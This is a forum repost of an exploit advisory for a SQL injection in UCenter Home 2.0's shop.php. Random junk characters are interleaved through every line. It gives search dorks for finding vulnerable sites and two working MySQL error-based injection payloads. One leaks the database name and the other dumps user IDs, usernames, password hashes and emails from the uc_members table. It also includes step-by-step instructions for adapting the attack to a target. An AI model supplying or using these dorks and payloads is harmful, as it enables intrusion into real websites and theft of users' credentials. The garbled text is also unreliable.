! y6 q1 x& C5 b# _1 o
__--==UCenter Home 2.0 -(0day) Remote SQL Injection Vulnerability==--__
) L$ d( H/ G' i, F& x- A5 K
2 m! v; {! \- {! h( K5 ^ . R* G! b& x, x5 C0 s: W+ M
- ?2 K: q3 Q) t2 o3 y$ S- H8 B
*/ Author : KnocKout
, z5 x0 p( A X/ o ?3 }6 z, q+ l' {% p G7 }: f. Z
*/ Greatz : DaiMon,BARCOD3,RiskY and iranian hackers ( w" \# N/ z$ P. S1 @. z0 C6 c; }/ O
9 X( f4 S& W; v3 O3 B/ x Y2 w*/ Contact: knockoutr@msn.com : n+ T4 o) c. u0 p8 Q
8 i( m* E+ z2 h! x, Y0 n+ Q
*/ Cyber-Warrior.org/CWKnocKout
0 \6 s( G( e6 ]5 U+ @8 i. ~
. L8 N8 L: g$ O) P* \3 x__--==__--==__--==__--==__--==__--==__--==__--==__--==__--==
; f0 }0 a* E' \3 g4 l" N) o- x. `' L9 b& X. u# D4 j- p
Script : UCenter Home ( V4 R% r5 Q f0 g9 j7 O/ C2 ?
; {- ~6 R; u t8 d: O
Version : 2.0
4 }7 `. W5 v( G7 N1 K" `8 o1 [5 M r$ H4 O# ^% r s1 k
Script HomePage : http://u.discuz.net/ % X' _# F% C. L& r8 d5 ?- [
; l! W$ N: n! c2 q. X5 S, {- F: M
__--==__--==__--==__--==__--==__--==__--==__--==__--==__--== / \) v+ b. _/ r. K& g7 u4 C4 D; E
H! R; |! Z4 g
Dork : Powered by UCenter inurl:shop.php?ac=view
+ D: P) D- R" U4 G# H+ [7 s
' F( A- s: r% F' r) A9 D2 YDork 2 : inurl:shop.php?ac=view&shopid= 5 Z/ |" F: I$ v/ T
$ B! x, C' n2 l4 u* s
__--==__--==__--==__--==__--==__--==__--==__--==__--==__--== 8 }" t- h; G }
- m) x% V2 j' aVuln file : Shop.php 9 C/ q2 f1 x+ I; d! X8 P' [# V
7 |6 e+ O n5 E& m6 a/ j" m
value's : (?)ac=view&shopid=
; k2 @# f& Z% m& {) P+ N7 L7 L2 E( `% }/ S# F9 g
Vulnerable Style : SQL Injection (MySQL Error Based) # M) f# k3 T' f" G% X/ p0 B, g
1 M( l/ s: Z% U3 q( [! `Need Metarials : Hex Conversion 0 e3 A$ ~" S: j$ }7 s
) p* R( O( Z: s__--==__--==__--==__--==__--==__--==__--==__--==__--==__--== z, f9 o1 @+ M0 h
" X# H6 d0 p! i) [- FYour Need victim Database name.
2 K0 N4 f+ h- j3 Y
2 A- K* Y5 y5 f% n* B7 Mfor Inject : http://server/shop.php?ac=view&shopid=253 and(select 1 from(select count(*),concat((select (select concat(0x7e,0x27,unhex(hex(database())),0x27,0x7e)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 1 c' E" `4 X* l0 [. w: e
0 U& f- Y/ t4 H6 x% j
.. ; p2 v/ ]3 g& b1 z
: r6 `/ G( c) T. I- G
DB : Okey.
7 G7 h# w8 e) e$ s$ D1 f+ A) l" r) }( { a, a0 V; O! K
your edit DB `[TARGET DB NAME]`
/ K9 R: u7 y( d# O' j" ~, I' q
6 m$ W/ R) G, B( pExample : 'hiwir1_ucenter' - ?% i: y9 Q2 w" Y: R
* ?/ B6 A& R* ^2 ~/ M/ i' R9 y7 Q- F
Edit : Okey. ?/ K3 m2 ~: z' \1 i
7 V5 O& M0 j) ]- d1 f! \0 w& k2 nYour use Hex conversion. And edit Your SQL Injection Exploit..
* @. g3 k* X: H5 k/ a
; C, z# U& I3 Q% @/ l2 F " Z) t8 F6 z3 t! W5 x, q) c0 x
; z0 `) z# [1 r# E
Exploit Code : http://server/shop.php?ac=view&shopid=253 253 and(select 1 from(select count(*),concat((select (select (SELECT concat(0x7e,0x27,cast(concat(uc_members.uid,0x3a,uc_members.username,0x3a,uc_members.password,0x3a,uc_members.email) as char),0x27,0x7e) FROM `hiwir1_ucenter`.uc_members LIMIT 0,1) ) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 0 |" b) P! V/ A
|
发表于 2013-2-27 21:31:31
收藏
支持
反对